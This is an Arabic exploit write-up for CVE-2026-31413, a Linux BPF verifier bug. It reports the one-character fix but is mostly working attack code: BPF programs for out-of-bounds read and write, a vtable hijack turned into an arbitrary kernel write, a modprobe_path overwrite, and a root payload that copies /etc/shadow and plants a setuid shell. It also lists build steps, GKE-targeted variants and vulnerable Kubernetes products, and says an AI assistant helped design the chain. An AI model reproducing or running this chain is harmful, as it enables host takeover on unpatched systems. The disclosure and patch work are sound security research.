
CVE-2026-31413: ثغرة في صحة مدقق BPF - هروب من الحاوية
لقد وجدت خطأ في سلامة مدقق BPF في لينكس - حيث أن + 1 في استدعاء push_stack() يتسبب في تخطي المدقق لتعليمة ALU على مسار متفرع. بالنسبة لـ BPF_OR، هذا يعني أن المدقق يتتبع dst = 0 بينما تقوم وحدة المعالجة المركزية بحساب 0 | K = K. لقد كتبت هروبًا كاملاً من الحاوية: قراءة/كتابة خارج الحدود من خريطة BPF، اختطاف الجدول الافتراضي، الكتابة فوق modprobe_path، والحصول على صلاحيات الجذر على المضيف. ثم قمت بتأليف سلسلة من تصحيحين - إصلاح بحرف واحد في المدقق و90 سطرًا من اختبارات الذاتية - وتم دمجها في النواة الرئيسية.
📹 فيديو توضيحي للهروب من الحاوية
| CVE | CVE-2026-31413 |
| تصنيف الخطأ | Verifier soundness - register value divergence |
| السبب الجذري | push_stack(env, env->insn_idx + 1, ...) يتخطى تعليمة ALU على المسار المتفرع |
| مُدخَل في | bffacdb80b93 - Linux 7.0-rc1 (14 يناير 2026) |
| مُصلَح في | c845894ebd6f - Linux 7.0-rc5 (22 مارس 2026) |
| المتأثرة | 6.12.75+ (التراجع المستقر dea9989a3f) حتى 7.0-rc4 |
| التأثير | قراءة/كتابة عشوائية في النواة → هروب من الحاوية → جذر المضيف |
| المطلوب | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| الإصلاح | حرف واحد: insn_idx + 1 → insn_idx |
maybe_fork_scalars() تفرع حالة المدقق عندما ترى ARSH + AND/OR مع ثابت. المسار المدفوع يحصل على dst = 0 ويتخطى تعليمة ALU. بالنسبة لـ AND ذلك جيد: 0 & K = 0. بالنسبة لـ OR فهو خطأ: 0 | K = K وليس 0.
يعتقد المدقق أن السجل هو صفر. وحدة المعالجة المركزية لديها K. استخدمت ذلك لبناء قراءة/كتابة عشوائية خارج الحدود من قيمة خريطة BPF، وتسريب عنوان النواة للخريطة، وبناء جدول افتراضي bpf_map_ops مزيف، وإعادة توجيه map_push_elem عبر array_map_get_next_key لكتابة عشوائية، والكتابة فوق modprobe_path. يؤدي تشغيل تنسيق ثنائي غير معروف إلى تشغيل النواة لنصي البرمجي بصلاحيات الجذر. في حاوية، هروب كامل من المضيف.
سلسلة من تصحيحين: إصلاح بحرف واحد في المدقق بالإضافة إلى 90 سطرًا من اختبارات BPF الذاتية تغطي تفرع OR مقابل AND. تم دمجها بواسطة Alexei Starovoitov في 22 مارس. تم تعيين CVE-2026-31413 بواسطة Greg Kroah-Hartman في 12 أبريل.
يتيح لك eBPF تحميل برامج صغيرة إلى النواة - مرشحات الحزم، خطافات التتبع، سياسات الأمان - دون تجميع وحدة نواة. المشكلة هي أنك تحقن كودًا في ring 0. إذا كان لذلك الكود خطأ، فهو خطأ في النواة.
لذلك قبل تشغيل أي برنامج BPF، المدقق الخاص بالنواة يحاكي كل مسار تنفيذ ممكن. يتتبع ما يحمله كل سجل (مؤشر؟ سكالر؟ أي نطاق؟)، ويفحص كل وصول للذاكرة مقابل حدود الخريطة، ويرفض أي شيء يمكن أن يقرأ أو يكتب خارج الحدود. إذا قال المدقق أن البرنامج آمن، يقوم JIT بتجميعه إلى كود آلة أصلي وتشغيله بصلاحية كاملة للنواة. لا توجد فحوصات حدود وقت التشغيل بعد تلك النقطة. المدقق هو الحدود الأمنية.
لهذا السبب تختلف أخطاء سلامة المدقق عن الإفساد العادي للذاكرة. مع فيضان الكومة أو UAF، تحصل على بدائية إفساد واحدة ويجب أن تعمل من هناك - رش الكومة، تهيئة الكائنات، سباق نافذة. مع خطأ في المدقق، تجعل النواة تعتقد كذبة حول قيمة سجل. كل فحص حدود يعتمد على ذلك السجل يمر. توافق النواة على وصول OOB الخاص بك. تقوم بتشغيله دون سؤال. إذا تمكنت من محاذاة حالة السجل بشكل صحيح، تحصل على بدائية نظيفة وموثوقة منه.
كنت أتدقق في maybe_fork_scalars() - كود جديد، تمت إضافته في يناير 2026 في bffacdb80b93. تفرع الحالة مثير للاهتمام دائمًا لأنه حيث ينقسم المدقق إلى مسارات استكشاف متوازية، وإذا تتبع أي مسار قيمة غير صحيحة، فإن كل ما يتبع ذلك المسار يكون غير سليم.
تتفرع الدالة عندما ترى ARSH + AND/OR مع مصدر ثابت. المسار المدفوع يحصل على dst = 0 ويتخطى تعليمة ALU. كنت أقرأ السطر push_stack(env, env->insn_idx + 1, ...) وفهمت على الفور - أن + 1 يعني أن المسار المدفوع لا ينفذ أبدًا عملية ALU. بالنسبة لـ AND، 0 & K = 0، لذا التخطي جيد. بالنسبة لـ OR، 0 | K = K. يعتقد المسار المدفوع أن النتيجة هي 0 بينما هي في الواقع K.
كتبت برنامج BPF في تلك الأمسية. ARSH 63 للحصول على {0, -1}، OR مع ثابت، فرع شرطي لفصل مسارات المدقق، ثم إضافة السجل "صفر" إلى مؤشر الخريطة. وافق المدقق على map_value + 0. وصلت وحدة المعالجة المركزية إلى map_value + K. أكد KASAN الوصول خارج الحدود في الاختبار.
قراءة/كتابة OOB بحلول الصباح التالي. هروب من الحاوية بحلول الليلة التالية. استخدمت Claude (Opus 4.5) طوال الوقت - للعمل على منطق تفرع حالة المدقق، والعصف الذهني لبدائيات الاستغلال، وتحويل OOB إلى سلسلة هروب كاملة. جاء نهج اختطاف الجدول الافتراضي من تبادل حيث استعرض Claude مؤشرات دالة bpf_map_ops بحثًا عن أدوات قابلة للاستدعاء.
الالتزام bffacdb80b93 ("bpf: التعرف على الإزاحة الحسابية الخاصة في المدقق") تم إدراجه في 14 يناير 2026 في 7.0-rc1. بواسطة Alexei Starovoitov، وبمشاركة Puranjay Mohan. أضاف maybe_fork_scalars() للتعامل مع نمط LLVM DAGCombiner:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
يقوم LLVM بتخفيض `select_cc setlt X, 0, A, 0` إلى `sra + and`. بعد التحول الحسابي لليمين، يكون السجل إما `0` (إذا كانت المدخلات غير سالبة) أو `-1` (كلها أعداد واحد). يؤدي AND مع ثابت إلى `0` أو `K`.
لا يستطيع المُدقق تتبع `{0, K}` في `bpf_reg_state` واحد - نطاقه المُوقَّع `[0, K]` يُقرب بشكل زائد، وكان ذلك يتسبب في رفض برامج Cilium الصالحة. الإصلاح: تفرع حالة المُدقق. مسار واحد يستكشف `dst = 0`، والآخر `dst = -1`، كل منهما يتتبع القيمة الدقيقة.
التنفيذ:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
حدثان يحدثان في المسار المدفوع:
0insn_idx + 1 - التعليمات بعد عملية ALUبالنسبة لـ BPF_AND: dst = 0، تخطى عملية AND. وقت التشغيل: 0 & K = 0. متطابق. سليم.
بالنسبة لـ BPF_OR: dst = 0، تخطى عملية OR. وقت التشغيل: 0 | K = K. عدم تطابق.
يرى المُحقق 0. لدى الـ CPU K. غير سليم.
لا تتحقق الدالة من opcode. تمت كتابتها لـ AND - حيث تخطي التعليمات هو نفس تنفيذها مع dst = 0 - وتم تطبيقها على
OR أيضًا. بالنسبة لـ OR، هذا التكافؤ لا ينطبق.
نمط التحفيز هو خمس تعليمات:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
يتحقق المُتحقّق من مسارين:
**المسار الحالي** (`dst = -1`): يتم تنفيذ OR، `-1 | K` يبقى `-1`. يُتَّخذ الفرع `r6 s< 0`. يتابع المُتحقّق الخروج. هذا المسار آمن ويؤكّده المُتحقّق.
**المسار المُدفوع** (`dst = 0`، تم تخطّي OR): `r6 = 0`. لا يُتَّخذ الفرع `r6 s< 0`. يمر المُتحقّق إلى `r9 += r6`، ويرى `r9 += 0`، ويوافق على الوصول اللاحق للذاكرة باعتباره ضمن النطاق.
**وقت التشغيل** (`dst = 0`، يتم تنفيذ OR): قيمة الخريطة موجبة، لذا بعد ARSH، `r6 = 0`. يتم تنفيذ OR: `0 | K = K`. لا يُتَّخذ الفرع `K s< 0` (K موجبة). `r9 += K` — وصول خارج النطاق بمقدار `K` بايت، وافق عليه المُتحقّق باعتبار `r9 += 0`.
أنا أتحكّم في `K`. قراءة أو كتابة OOB بإزاحة اختيارية، نسبةً لأي قيمة خريطة BPF.
تخزّن نسخة القراءة البيانات المُسرَّبة في خريطة ثانية لاسترجاعها من فضاء المستخدم. تحمّل نسخة الكتابة قيمة من خريطة ثالثة وتكتبها في الإزاحة خارج النطاق. كلاهما يجتاز المُتحقّق.
إليك كامل `oob_read_prog` — هذا هو الكود الفعلي من الاستغلال، وليس شبه كود:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
والكتابة خارج الحدود (OOB) - نفس خدعة ARSH+OR، ولكنها تكتب قيمة من خريطة ثالثة إلى الإزاحة خارج الحدود:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
لتفعيل أي من البرنامجين، أقوم بتوصيله بـ socket pair ودفع حزمة عبره:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
نمط النفي والجمع (R7 = 0 - R6; R8 += R7) يسمح لنا بالوصول إلى الإزاحات السالبة من قيمة الخريطة - وهو المكان الذي توجد فيه بيانات الخريطة الوصفية الخاصة بها.
السلسلة الكاملة:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### تخطيط الهدف
يتم دعم `BPF_MAP_TYPE_ARRAY` بواسطة `struct bpf_array`، الذي يضم
`struct bpf_map` عند الإزاحة 0. تبدأ قيم الخريطة الفعلية عند الإزاحة 264 (بعد
رأس `bpf_array` + المحاذاة). لذا من `value[0]`، تقع بيانات الخريطة الوصفية الخاصة بها
عند إزاحات سالبة معروفة:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
لقد تحققت من هذه باستخدام pahole على vmlinux من نواة 6.12.76-docker. على النواة المختبرة، تطابقت الإزاحات تمامًا.
قراءتان خارج النطاق (OOB) تعطيانني كل ما أحتاجه:
wait_list عند الإزاحة -136. هذا هو freeze_mutex.wait_list، وهو list_head يشير إلى نفسه عندما يكون المزامن (mutex) غير متنازع عليه. قيمته هي &map->freeze_mutex.wait_list - مؤشر نواة داخل بنية الخريطة (map). اطرح 128 لأحصل على العنوان الأساسي للخريطة. أضف 264 لأحصل على عنوان النواة لـ value[0].
ops عند الإزاحة -264. هذا هو مؤشر جدول الوظائف الافتراضية (vtable) لـ bpf_map_ops. على نواة غير معدلة، يشير إلى الرمز العالمي array_map_ops. أقرؤه لتأكيد أن النواة غير مرقعة وللحصول على عنوان vtable للاستنساخ.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
عند هذه النقطة لدي: عنوان الخريطة في النواة (kernel address)، عنوان البيانات التي أتحكم بها (`value[0]`)، ومؤشر الـ vtable المؤكد.
### الخطوة 2: Vtable مزيف
`bpf_map_ops` يحتوي على 42 فتحة لمؤشرات الدوال. إذا قمت ببساطة بتصفير تلك التي لا أحتاجها، سيتسبب النواة في إلغاء مرجع NULL عند أول لمسة لأحدها. لذا أقوم بحل كل رمز من `/proc/kallsyms` وبناء نسخة كاملة:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
الفتحة 15 هي map_push_elem. في array_map_ops الحقيقية، هذه القيمة هي NULL (المصفوفات
لا تدعم push). أستبدلها بـ array_map_get_next_key.
لماذا get_next_key؟ توقيعه هو:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
يقرأ `*(u32 *)key`، ويزيده، ويكتب النتيجة إلى `*(u32 *)next_key`. عند استدعائه عبر مسار التوزيع `map_push_elem`:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
وسيطة flags تصل إلى معامل next_key. إذا تحكمت في flags، فإنني أتحكم في وجهة الكتابة. القيمة المكتوبة هي *(u32 *)value + 1 - عدد صحيح صغير يمكنني التنبؤ به عن طريق تعيين أول 4 بايتات من مخزني المؤقت (push buffer).
قبل أن أتمكن من استخدام الجدول الافتراضي المزيف (fake vtable)، أحتاج إلى إعادة توجيه الخريطة إليه وتغيير نوعها بحيث يقوم النواة بالإرسال عبر map_push_elem. ثلاث عمليات كتابة خارج الحدود (OOB writes)، تُنفَّذ بالترتيب:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
التغيير في النوع مهم. عندما تستدعي مساحة المستخدم `bpf(BPF_MAP_UPDATE_ELEM)` على مصفوفة خريطة، يقوم النواة بتوجيه الاستدعاء عبر `map_update_elem`. لكن في خريطة طابور، نفس استدعاء النظام يوجه عبر `map_push_elem` - والذي يشير الآن إلى `array_map_get_next_key`.
أقوم بتحميل جميع برامج BPF الستة (ثلاثة عمليات كتابة + ثلاثة استعادة) *قبل* إفساد أي شيء. بمجرد أن أفسد مؤشر `ops`، لا يمكنني تحميل برامج BPF جديدة تشير إلى هذه الخريطة - لأن المدقق سيتبع الجدول الافتراضي المزيف ويتعطل. يجب أن يكون كل شيء معدًا مسبقًا.
### الخطوة 4: كتابة عشوائية عبر map_push_elem
الآن يمكنني كتابة 4 بايت إلى أي عنوان في النواة:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() تستدعي bpf(BPF_MAP_UPDATE_ELEM) مع flags = addr. يقوم النواة
بالتوزيع إلى الدالة المخترقة map_push_elem → array_map_get_next_key(map, push_buf, addr). تقرأ *(u32 *)push_buf (وهو val - 1)، تضيف 1، وتكتب
val إلى *(u32 *)addr.
آلية الكتابة هي تخزين 4 بايتات u32 عبر get_next_key. لا توجد
قيود على المحاذاة - تقوم النواة بتنفيذ *(u32 *)addr = val عادي في
أي عنوان نقدمه.
modprobe_path هو متغير عام char[256] في النواة، القيمة الافتراضية /sbin/modprobe.
عندما تصادف النواة ملفًا تنفيذيًا برقم سحري غير معروف، فإنها تستدعي
modprobe_path كجذر لتحميل الوحدة المناسبة. قم باستبداله بمسار
أتحكم فيه، ثم قم بتشغيل تنسيق ثنائي غير معروف، وستقوم النواة بتشغيل السكريبت الخاص بي
كجذر.
المسار المستهدف هو /tmpn/mo. لا يمكنني كتابة سلاسل عشوائية - أكتب 4 بايتات
في المرة الواحدة عبر increment الصحيح في get_next_key. لكنني أحتاج فقط إلى كتابتين:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
في وضع الحاوية، يتم حل `modprobe_path` في مساحة mount الخاصة بالتهيئة (init) - وليس مساحة الحاوية. لذا يجب أن يكون السكريبت الخاص بالحمولة موجودًا في المسار `/tmpn/mo` على المضيف. مع استخدام `--pid=host` أو مساحة PID مشتركة، أصل إلى نظام ملفات المضيف عبر `/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
في هجوم حقيقي، يقوم الاستغلال بكتابة الحمولة إلى /tmpn/mo على المضيف عبر /proc/1/root/tmpn/mo (يمكن الوصول إليه عندما تحتوي الحاوية (pod) على مساحة أسماء PID مشتركة، كما هو معتاد لل sidecars الخاص بـ service-mesh مثل Cilium وعوامل المراقبة مثل Falco). يقوم العرض التوضيحي بتبسيط هذه الخطوة: يقوم المنسق (orchestrator) بتحضير الحمولة مسبقًا على المضيف بحيث يحتاج الاستغلال فقط إلى تشغيل التنفيذ.
يقوم الاستغلال بإنشاء الملف الثنائي المشغل - 4 بايت من \xff - وتنفيذه. لا يتعرف النواة على التنسيق، فيبحث عن modprobe_path، ويجد /tmpn/mo، ويشغله كجذر (root).
الحمولة:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### الخطوة 6: التنظيف
بعد كتابة `modprobe_path`، أستعيد رأس الخريطة - type, max_entries, ops - باستخدام برامج الاستعادة الثلاثة المحملة مسبقًا. تعود الخريطة إلى كونها مصفوفة عادية. لا يوجد fake vtable معلق، ولا kernel instability. الاستغلال هو single-shot ويترك حالة نظيفة.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
في بيئة العرض الخاصة بي، استغرقت السلسلة الكاملة من أول قراءة خارج النطاق (OOB) إلى صدفة الجذر بضع ثوان.
بالإضافة إلى الهروب الأساسي من الحاوية، قمت ببناء سلسلة من مستويات الاستغلال المستقلة التي تُظهر قدرات مختلفة بعد الاستغلال من نفس الأساس. كل مستوى هو ملف C مستقل في exploit/ يستخدم مكتبة المساعدة المشتركة exploit_common.h لإعداد القراءة/الكتابة خارج النطاق (ARSH+OR OOB).
تعيد جميع المستويات كل تعديل قبل الخروج. تم اختبارها على الإصدار 6.12.76.
make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries
أو بشكل فردي:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
كل طبقة تتطلب CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## من المتأثرون
يتطلب الاستغلال `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. لن تحصل على ذلك
من حاوية غير مميزة أو حساب مستخدم عادي على نظام محصن.
لكن هناك الكثير من السياقات التي تمتلك فيها تلك الصلاحيات.
### أنظمة BPF غير المميزة
إذا كانت القيمة `kernel.unprivileged_bpf_disabled=0` (تحقق باستخدام `sysctl`)، يمكن لأي مستخدم محلي تحميل برامج BPF. كان هذا هو الإعداد الافتراضي في التوزيعات القديمة ويتم تمكينه أحيانًا في بيئات التطوير/الاختبار. على هذه الأنظمة، يعد هذا تصعيدًا مباشرًا للامتيازات المحلية - أي مستخدم إلى الجذر، بدون الحاجة إلى أذونات خاصة.
معظم التوزيعات الحديثة تأتي مع `unprivileged_bpf_disabled=1` أو `=2` (مقفول)، لذا فإن هذا المسار مغلق في التثبيتات الافتراضية لأوبونتو 22.04+، دبيان 12+، فيدورا، RHEL 9، إلخ.
### بيئات Kubernetes / الحاويات
هذا هو المكان الذي يؤلم فيه الخطأ. الحاويات غير المميزة القياسية تسقط `CAP_BPF`، لذا لا يمكنها تشغيل الخطأ. لكن العديد من قرون البنية التحتية تعمل بصلاحيات مرتفعة:
| المنتج | الصلاحيات الافتراضية | ملاحظات |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | سياسة الشبكة، يعمل على كل عقدة |
| **Falco** | `privileged: true` | أمان وقت التشغيل، يقوم بتحميل /dev |
| **Tetragon** | `privileged: true` | مراقبة eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 more | المقاييس، السجلات، APM |
| **Pixie** | `privileged: true` | مراقبة قائمة على eBPF |
| **Tracee** | `privileged: true` أو صلاحيات BPF | أمان وقت التشغيل من Aqua |
تعمل هذه عادةً كـ DaemonSets - جراب واحد لكل عقدة، على مستوى المجموعة. إذا تمكن مهاجم من اختراق أي من هذه القرون (RCE في خدمة ويب على نفس العقدة، هجوم سلسلة التوريد، SSRF في واجهة برمجة تطبيقات الوكيل، إلخ)، فإنه يمتلك الصلاحيات اللازمة لتشغيل هذا الاستغلال والهروب إلى جذر المضيف.
**تحذير مهم:** يعمل الاستغلال فقط على النوى التي تحتوي على الكود الضعيف (6.12.75-6.12.79، 6.18.x-6.18.20، 6.19.x-6.19.10، 7.0-rc1 إلى rc4). معظم مجموعات K8s الإنتاجية تعمل بنوى LTS قديمة. تحقق من إصدار نواة العقدة باستخدام `uname -r` قبل افتراض قابلية الاستغلال.
من جذر المضيف على عقدة واحدة، عادةً ما يكون الحركة الجانبية إلى العقد الأخرى ممكنة عبر نفس DaemonSet (حسابات الخدمة المشتركة، الأسرار المحملة، إلخ).
### Kubernetes المُدارة (GKE، EKS، AKS)
تستخدم Google GKE Cilium كـ Dataplane V2 افتراضيًا. إذا كانت عُقد GKE تعمل بنواة 6.12.x غير مُصَحَّحة (تحقق من إصدار تجمع العُقد الخاص بك)، فإن أي اختراق لجراب Cilium يتحول إلى جذر المضيف والاستيلاء على العقدة. قمت ببناء الاستغلال خصيصًا لهذا السيناريو - ولهذا يسمى `exploit_gke.c`.
Amazon EKS و Azure AKS قد يكونان متأثرين أيضًا إذا كانا يعملان بنوى 6.12.x مع Cilium أو شبكات مشابهة قائمة على BPF. يجب التحقق من إصدارات صور AMI/VM المحددة.
### Android
يستخدم Android eBPF لمحاسبة حركة مرور الشبكة (netd)، وتوصيف الطاقة، وتتبع الذاكرة. تستخدم أجهزة Android الحالية (14/15) نوى 6.1 LTS، والتي **ليست متأثرة**. قد يعتمد Android 16 نواة 6.12 LTS - إذا حدث ذلك، وإذا تم تضمين التصحيح الخلفي الضعيف، سيكون سطح الهجوم عبارة عن خدمات النظام مثل `netd` و `system_server` التي تحمل برامج BPF.
هذا تخميني ويعتمد على الجدول الزمني لاعتماد نواة Android. لقد قدمت تقريرًا إلى Android VRP للمتابعة.
### حاويات النواة المشتركة (LXC/LXD)
